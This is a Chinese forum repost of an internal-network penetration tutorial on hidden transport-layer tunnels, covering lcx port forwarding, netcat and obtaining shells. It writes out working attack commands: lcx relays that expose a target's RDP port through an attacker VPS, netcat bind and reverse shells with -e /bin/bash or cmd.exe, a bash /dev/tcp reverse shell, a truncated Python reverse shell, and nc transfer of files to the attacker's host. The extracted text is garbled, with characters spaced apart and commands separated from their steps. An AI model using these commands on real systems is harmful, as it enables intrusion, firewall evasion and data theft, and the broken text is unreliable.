搜索

[21130] 2020-07-11_【内网渗透】——隐藏通信隧道技术之传输层隧道技术

文档创建者：s7ckTeam
浏览次数：47
最后更新：2025-01-18
2020-07-11_【内网渗透】——隐藏通信隧道技术之传输层隧道技术 【 内 网 渗 透 】 — — 隐 藏 通 信 隧 道 技 术 之 传 输 层 隧 道 技 术 L e m o n S e c   2 0 2 0 - 0 7 - 1 1 文 章 目 录 传 输 层 隧 道 技 术 1 .   l c x 端 口 转 发 1 . 1   内 网 端 口 转 发 1 . 2 本 地 端 口 映 射 2 .   n e t c a t （ n c ） 2 . 1   安 装 2 . 2   简 单 使 用 3 . 获 取 s h e l l 在 目 标 主 机 中 没 有 n c 时 获 取 反 向 s h e l l 传 输 层 隧 道 技 术 传 输 层 包 括 T C P 隧 道 ， U D P 隧 道 和 常 规 端 口 转 发 ， 内 网 防 火 墙 阻 止 了 对 指 定 端 口 的 访 问 ， 获 取 目 标 机 器 的 权 限 后 可 以 使 用 I P T A B L E S 打 开 指 定 端 口 。 1 .   l c x 端 口 转 发 经 典 端 口 转 发 工 具 ： l c x w i n d o w s 版 为 l c x . e x e     ,     l i n u x 版 为 p o r t m a p 正 常 的 s o c k e t 隧 道 必 须 具 备 两 端 ： 一 端 为 服 务 端 ， 监 听 一 个 端 口 ， 等 待 客 户 端 的 连 接 一 端 为 客 户 端 ， 通 过 传 入 服 务 器 的 I P 地 址 和 端 口 ， 才 能 主 动 与 服 务 器 连 接 1 . 1   内 网 端 口 转 发 在 目 标 机 器 上 执 行 如 下 命 令 将 目 标 机 器 3 3 8 9 端 口 的 所 有 数 据 转 发 到 公 网 V P S 的 4 4 4 4 端 口 上 在 V P S 上 执 行 如 下 命 令 ， 将 本 机 4 4 4 4 端 口 上 监 听 的 所 有 数 据 转 发 到 本 机 的 5 5 5 5 端 口 上 。 用 m s t s c 登 陆     “ < 公 网 主 机 I P 地 址 > : 5 5 5 5 ” , 或 者 在 V P S 上 用 m s t s c 登 陆 主 机 1 2 7 . 0 . 0 . 1 的 5 5 5 5 端 口 ， 即 可 访 问 目 标 服 务 器 的 3 3 8 9 端 口 。 1 . 2 本 地 端 口 映 射 如 果 目 标 服 务 器 由 于 防 火 墙 的 配 置 ， 部 分 端 口 （ 列 如 ： 3 3 8 9 ） 的 数 据 无 法 通 过 防 火 墙 可 以 将 目 标 服 务 器 相 应 端 口 的 数 据 的 数 据 传 到 防 火 墙 允 许 的 其 他 端 口 （ 列 如 ： 5 3 ） 。 在 目 标 主 机 上 执 行 如 下 命 令 ， 可 以 直 接 从 远 程 桌 面 连 接 目 标 主 机 的 5 3 端 口 。 2 .   n e t c a t （ n c ） 2 . 1   安 装 （ 1 ） 在 k a l i 中 可 以 使 用 或 者 命 令 查 看 是 否 已 经 安 装 了 n c 执 行 如 下 命 令 安 装 （ 2 ） 在 w i n d o w s 中 需 要 使 用 w i n d o w s 版 本 的 n c 下 载 连 接 ： 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 S f N 7 Q m 8 1 f p 3 D 9 O k F R M A r P g 提 取 码 ： 3 d s 1 2 . 2   简 单 使 用 （ （ 1 ） 命 令 查 询 ） 命 令 查 询 n c 的 功 能 很 多 ， 可 以 输 入 命 令 进 行 查 询 l c x . e x e   - s l a v e   < 公 网 主 机 i p >   4 4 4 4   1 2 7 . 0 . 0 . 1   3 3 8 9 l c x . e x e   - l i s t e n   4 4 4 4   5 5 5 5 l x c   - t r a n   5 3   < 目 标 主 机 I P 地 址 > n c   - h e l p m a n   n c s u d o   y u m   i n s a t l l   n c . x 8 6 _ 6 4 n c   - h
（ （ 2 ） ） B a n n e r 抓 取 抓 取 b a n n e r 抓 取 是 一 种 在 开 放 端 口 上 检 索 关 于 特 定 服 务 信 息 的 技 术 ， 在 渗 透 过 程 中 用 于 漏 洞 的 评 估 执 行 下 列 命 令 ， 从 抓 取 的 B a n n e r 信 息 中 可 以 得 知 ， 目 前 目 标 主 机 的 1 3 5 端 口 上 运 行 了 e p m a p 服 务 ， 版 本 号 为 2 . 3 . 4 w i n d o w s 下 查 看 端 口 占 用 、 杀 死 进 程 （ （ 3 ） 远 程 连 接 主 机 ） 远 程 连 接 主 机 （ （ 4 ） 端 口 扫 描 ） 端 口 扫 描 扫 描 指 定 主 机 端 口 （ （ 5 ） 端 口 监 听 ） 端 口 监 听 监 听 本 地 端 口 ， 当 访 问 该 端 口 时 会 输 出 该 信 息 到 命 令 行 （ （ 6 ） 文 件 传 输 ） 文 件 传 输 在 本 地 V P S 主 机 中 传 输   输 入 如 下 命 令 开 始 本 地 监 听 ， ， 等 待 连 接 - g < 网 关 >   设 置 路 由 器 跃 程 通 信 网 关 ， 最 多 可 设 置 8 个 。 - G < 指 向 器 数 目 >   设 置 来 源 路 由 指 向 器 ， 其 数 值 为 4 的 倍 数 。 - h   在 线 帮 助 。 - i < 延 迟 秒 数 >   设 置 时 间 间 隔 ， 以 便 传 送 信 息 及 扫 描 通 信 端 口 。 - l   使 用 监 听 模 式 ， 管 控 传 入 的 资 料 。 - n   直 接 使 用 I P 地 址 ， 而 不 通 过 域 名 服 务 器 。 - o < 输 出 文 件 >   指 定 文 件 名 称 ， 把 往 来 传 输 的 数 据 以 1 6 进 制 字 码 倾 倒 成 该 文 件 保 存 。 - p < 通 信 端 口 >   设 置 本 地 主 机 使 用 的 通 信 端 口 。 - r   乱 数 指 定 本 地 与 远 端 主 机 的 通 信 端 口 。 - s < 来 源 地 址 >   设 置 本 地 主 机 送 出 数 据 包 的 I P 地 址 。 - u   使 用 U D P 传 输 协 议 。 - v   显 示 指 令 执 行 过 程 。 - w < 超 时 秒 数 >   设 置 等 待 连 线 的 时 间 。 - z   使 用 0 输 入 / 输 出 模 式 ， 只 在 扫 描 通 信 端 口 时 使 用 n c   - n v   1 9 2 . 1 6 8 . 2 2 7 . 1 3 3   1 3 5 n c   - n v v   远 程 主 机 地 址   端 口 n c   - v   i p 地 址   端 口 n c   - l   - p   9 9 9 9   n c   - l p   3 3 3   > 1 . t x t
在 木 目 标 主 机 输 入 如 下 命 令 与 v p s 的 3 3 3 端 口 建 立 连 接 ， 并 传 输 一 个 名 为 1 . t x t 的 文 本 文 件 。 传 输 完 成   在 V P S 中 打 开 2 . t x t 文 件 可 以 看 到 数 据 已 经 传 送 过 来 了 。 （ （ 7 ） 简 易 聊 天 ） 简 易 聊 天 在 本 地 V P S 主 机 中 输 入 如 下 命 令   ， 开 始 监 听 在 目 标 主 机 中 输 入 如 下 命 令 ， 就 可 以 开 始 聊 天 。 3 . 获 取 s h e l l s h e l l 分 为 两 种   一 种 是 正 向 s h e l l ， 另 一 种 是 反 向 s h e l l 正 向 s h e l l ： 客 户 端 连 接 服 务 器 ， 客 户 端 想 要 获 取 服 务 器 的 s h e l l 反 向 s h e l l ： 客 户 端 连 接 服 务 器 ， 服 务 器 想 要 获 取 客 户 端 的 s h e l l 反 向 s h e l l 通 常 用 在 开 启 了 防 护 措 施 的 目 标 主 机 上 ， 列 如 防 火 墙 过 滤 ， 端 口 转 发 ， （ 1 ） 正 向 s h e l l 输 入 如 下 命 令 监 听 目 标 主 机 上 的 4 4 4 4 端 口 输 入 如 下 命 令 ， 在 本 地 或 者 V P S 主 机 上 连 接 主 机 的 4 4 4 4 端 口 ， 查 看 当 前 的 I P 地 址 ， 已 经 是   1 9 2 . 1 6 8 . 2 2 7 . 1 3 7 了 。 （ （ 2 ） 反 向 ） 反 向 s h e l l 输 入 如 下 命 令 ， 在 本 地 或 者 V P S 主 机 上 监 听 本 地 9 9 9 9 端 口 。 在 目 标 主 机 上 输 入 如 下 命 令 ， 连 接 V P S 主 机 1 9 2 . 1 6 8 . 2 2 7 . 1 3 7 的 9 9 9 9 端 口 。 就 可 以 在 本 地 或 者 V P S 主 机 上 看 到 连 接 了 。 在 目 标 主 机 中 没 有 在 目 标 主 机 中 没 有 n c 时 获 取 反 向 时 获 取 反 向 s h e l l n c   - v n   1 9 2 . 1 6 8 . 2 2 7 . 1 3 7   3 3 3   <   1 . t x t   - q   1 n c   - l   - p   8 8 8 n c   - v n   1 9 2 . 1 6 8 . 2 2 7 . 1 3 7   8 8 8 n c   - l v p   4 4 4 4   - e   / b i n / b a s h                                     / /   l i n u x n c   - l v p   4 4 4 4   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e             / /   w i n d o w s n c   1 9 2 . 1 6 8 . 2 2 7 . 1 3 7   4 4 4 4 n c   - l v p   9 9 9 9 n c   1 9 2 。 1 6 8 . 2 2 7 . 1 3 7   9 9 9 9   - e   / b i n / s h                             / / l i n u x n c   1 9 2 . 1 6 8 . 2 2 7 . 1 3 7   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e             / / w i n d o w s
一 般 ， 目 标 主 机 时 没 有 n c ， 可 以 使 用 其 他 的 工 具 和 编 程 语 言 来 代 替 n c ， 实 现 反 向 连 接 。 （ （ 1 ） ） p y t h o n 反 向 反 向 s h e l l 执 行 如 下 命 令 ， 在 V P S 上 监 听 本 地 端 口 2 2 2 2 端 口 。 在 目 标 主 机 上 执 行 反 弹 命 令 。 x x x x ： 代 表 攻 击 者 I P   2 2 2 2 ： 端 口 查 看 当 前 I P 已 经 是 1 9 2 . 1 6 8 . 2 2 7 . 1 3 1 ， 说 明 已 经 建 立 （ （ 2 ） ） b a s h 反 弹 反 弹 执 行 如 下 命 令 ， 在 V P S 上 监 听 4 4 4 4 端 口 在 目 标 主 机 上 执 行 反 弹 命 令 没 有 专 业 运 营 团 队 ， 纯 个 人 凭 着 空 闲 时 间 的 学 习 ， 通 过 网 络 搜 集 与 学 习 整 理 的 资 料 记 录 并 分 享 。   如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” n c   - l v p   2 2 2 2 p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " x . x . x . x " , 2 2 2 2 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ n c   - l v p   4 4 4 4 b a s h   - i   > &   / d e v / t c p / x . x . x . x / p o r t   0 > & 1 版 权 声 明 ： 本 文 为 C S D N 博 主 「 K r i s   A l e x 」 的 原 创 文 章 ， 遵 循 C C   4 . 0   B Y - S A 版 权 协 议 ， 转 载 请 附 上 原 文 出 处 链 接 及 本 声 明 。 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / K r i s _ _ z h a n g / a r t i c l e / d e t a i l s / 1 0 6 8 2 1 7 6 5
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理